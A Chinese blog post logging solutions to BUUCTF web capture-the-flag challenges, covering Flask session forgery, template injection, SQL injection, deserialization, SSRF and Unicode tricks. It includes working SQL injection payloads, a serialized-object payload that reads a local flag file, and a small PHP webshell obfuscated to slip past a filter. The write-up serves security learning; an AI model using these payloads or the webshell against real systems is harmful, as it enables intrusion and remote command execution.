9月份Web刷题记录

Posted by CoCo1er on 2019-10-07
Words 1.4k and Reading Time 5 Minutes
Viewed Times

9月份Web刷题记录

前言

​ 此系列只做对BUUCTF基本的刷题记录,不做详细的wp,旨在拓宽知识面,快速定位知识点

2018hctf—admin

  • Flask框架——Session伪造
  • strlower()——nodeprep.prepare——Unicode欺骗
  • 条件竞争

一题三解

https://www.anquanke.com/post/id/164086

关于Session

https://www.leavesongs.com/PENETRATION/client-session-security.html

2018护网杯—easy_tornado

  • SSTI——tornado框架——模板格式
  • Tornado模板注入可快速访问对象
    handler.settings——指向的是RequestHandler.application.settings

Tornado小记——模板中的Handler

https://www.cnblogs.com/bwangel23/p/4858870.html

Tornado提供了一些对象别名来快速访问对象,具体定义可以参考Tornado官方文档

CISCN2019 华北赛区 Day2 Web1 HackWorld

id=1,2有不同回显,数字型的布尔盲注

  • 空格被过滤,绕过采用(),有博客说可以用%0a,%a0等,经过fuzz也没被ban,但是做题没注出来
  • payload:if((ascii(substr((select(flag)from(flag)),{},1))={}),1,2)

2019强网杯—高明的黑客

  • php代码审计(代码混淆)
  • fuzz
  • 脚本(多线程)

2019强网杯—随便注

  • 堆叠查询
  • 解法1:预编译处理,拼接构造查询语句来绕过select(博客有详细wp)
  • 解法2:rename、alert,更改表名列名,使默认查询出flag
    • 可以用describe命令查表有哪些字段:?inject = ‘ ; describe `tablename`;
    • payload:1’;RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#`

2019SUCTF—EasySQL

(源码:select $_GET[‘query’] || flag from flag)

  • 堆叠查询,from被过滤,且有长度限制,预编译绕过行不通
  • 非预期解:没有过滤*, 直接注入*, payload:*,1
  • 预期解:set sql_mode=PIPES_AS_CONCAT;||视为字符串的连接操作符而非或运算符
    • payload: 1;set sql_mode=PIPES_AS_CONCAT;select 1

关于sql_mode

https://www.cnblogs.com/sueyyyy/p/10254993.html

2019SUCTF—CheckIn

(博客有详细wp记录)

  • .user.ini文件
  • 绕过exif_imagetype()
  • 绕过<?

2019De1CTF—SSRF Me

(博客有详细wp记录)

flask框架代码审计

  • 解法1:md5长度扩展攻击
  • 解法2:字符串拼接
  • 解法3:local_file

2016 0CTF—piapiapia

(博客有详细wp记录)

  • php代码审计
  • 反序列化逃逸
  • 遇到路由逻辑引起路径无论是否存在全是200的情况,推荐dirsearch扫描(御剑适合cms类型的扫描)

2019网鼎杯第一场web2—Fakebook

  • robots.txt发现user.php.bak文件
  • sql布尔盲注发现data列中存储了序列化的值,集合对user.php的代码审计可以判断用户数据通过数据库中的序列化来返回相应的值
    • /view.php?no=0报错回显出绝对路径/var/www/html/view.php
  • 序列化构造
  • user.php中有ssrf读取本地文件
  • union select被waf检测到,union/**/select可绕过,直接构造序列化读取flag.php
    • payload:/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

CISCN2019 华北赛区 Day1 Web1—Dropbox

  • php代码审计
  • 抓包任意文件读取
  • __call触发调用另一个类的不可访问方法
  • phar://触发反序列化

CISCN2019 华北赛区 Day1 Web2 ikun

(博客有详细wp记录)

一道扩充知识面的题,很有意思,题目考点:

  • python脚本搜索关键字
  • 薅羊毛与逻辑漏洞
  • JWT伪造admin
    • 爆破JWT得到Secret
    • 伪造JWT
  • python反序列化(pickle)

2019SUCTF—Pythonginx

(博客有详细记录)

出题思路来自blackhat的一个新议题 传送门

  • Unicode Normalizing to Control Characters

    Fuzz脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    from urllib.parse import urlparse,urlunsplit,urlsplit
    from urllib import parse
    def get_unicode():
    for x in range(65536):
    uni=chr(x)
    url="http://suctf.c{}".format(uni)
    try:
    if getUrl(url):
    print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
    except:
    pass
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # coding:utf-8 
    for i in range(128,65537):
    tmp=chr(i)
    try:
    res = tmp.encode('idna').decode('utf-8')
    if("-") in res:
    continue
    print("U:{} A:{} ascii:{} ".format(tmp, res, i))
    except:
    pass
  • Nginx配置文件默认路径(linux,不同版本有差异)

    • 配置文件存放目录:/etc/nginx
    • 主配置文件:/etc/nginx/conf/nginx.conf
    • 安装完路径默认:/usr/local/nginx/conf/nginx.conf
    • 管理脚本:/usr/lib64/systemd/system/nginx.service
    • 模块:/usr/lisb64/nginx/modules
    • 应用程序:/usr/sbin/nginx
    • 程序默认存放位置:/usr/share/nginx/html
    • 日志默认存放位置:/var/log/nginx

参考:url中的unicode漏洞引发的域名安全问题

idna与utf-8编码漏洞

2017HITCON-CTF-SSRFMe

(博客有详细wp)

  • SSRF读取本地文件
  • GET任意命令执行

2019ASIS-Unicorn

  • 前端绕过
  • Unicode数字欺骗(输入Unicode对应的UTF-8)

Unicode搜索

Unicode和UTF-8有什么区别?

搜索”万”发现对应的UTF-8 coding———0xE4 0xB8 0x87 替换成%E4%B8%87

官方wp利用了“埃塞俄比亚数字一万”

关于Unicode利用的几个方面:

浅谈Unicode设计的安全性

2019ByteCTF—EzCMS

  • 源码泄露www.zip
  • 哈希扩展攻击(2019De1CTF—SSRFme也出了此考点)
  • mime-content-type函数使用phar://可触发php反序列化
  • 绕过句首phar://正则———php://filter/resource=phar://...
  • 覆盖.htaccess文件使php马得以解析
  • PHP原生类找到带有open函数的文件类ZipArchive,得以通过__call去触发open来删除.htaccess文件
  • php马以拼接形式绕waf
1
2
3
4
5
6
<?php
$a="syste";
$b="m";
$c=$a.$b;
$d=$c($_REQUEST['a']);
?>

2018TWCTF—shrine

  • Flask——SSTI
  • 绕过self,config,括号读取配置信息
  • url_forget_flashed_messages两个函数对current_app实现引用
  • flask官方文档查找内置函数/对象/变量…